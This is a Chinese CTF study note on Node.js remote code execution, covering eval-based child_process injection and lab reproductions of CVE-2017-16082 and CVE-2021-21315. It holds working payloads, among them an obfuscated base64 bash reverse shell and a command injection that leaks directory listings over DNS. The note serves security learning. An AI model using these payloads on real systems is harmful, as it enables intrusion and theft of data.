
Node.js RCE 漏洞总结
命令执行
使用 child_process 子进程 执行系统指令
如果有使用 eval 函数则可以使用以下方式执行系统指令
?eval=require('child_process').execSync('cmd').toString()
以上指令详细解释:
require('child_process')
用于导入 Node.js 的 child_process 模块。- 注:Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令
execSync('cmd')
同步执行其中的指令toString()
将返回的对象转换为字符串类型
若过滤了exec,还有 spawnSync
用法和详细解释如下
eval=require("child_process").spawnSync('cmd',['args']).stdout.toString()
require('child_process')
同上spawnSync('cmd',['args'])
同步执行 cmd 命令,数组内容是参数stdout
访问子进程的标准输出,它是一个缓冲区(Buffer)对象。toString()
方法将缓冲区转换为字符串,使输出内容可读。
例题
- CTFshow - web335
- CTFshow - web336
Node.js CVE 的复现
CVE-2017-16082
原理
详细请见 node.js + postgres 从注入到Getshell
简述:获取数据库字段名并处理时将字段名作为参数传入 Function 类中,搭配 SQL 注入即可通过其创建的函数来远程执行代码
复现
靶机地址:
https://github.com/vulhub/vulhub/blob/master/node/CVE-2017-16082/README.zh-cn.md
Payload:
SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", 4 AS "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"
靶机中无法直接控制字段名,但是因为可以多句执行,所以也可以控制传入的字段名
虽然此处返回内部错误,但此处其实已经成功反弹了 shell
注意事项:在传参的过程中要进行 URL 编码后再发送请求,否则无法复现成功
CVE-2021-21315
靶机地址:使用 vulfocus 自建
Payload
http://ip:port/api/getServices?name[]=$("cmd")
仅需发送 GET 请求即可
在靶机中使用的 Payload 如下:
http://127.0.0.1:56430/api/getServices?name[]=$(ping%20`ls%20/tmp`.d247976159.ipv6.bypass.eu.org)
使用 Dnslog 服务,最终得到 flag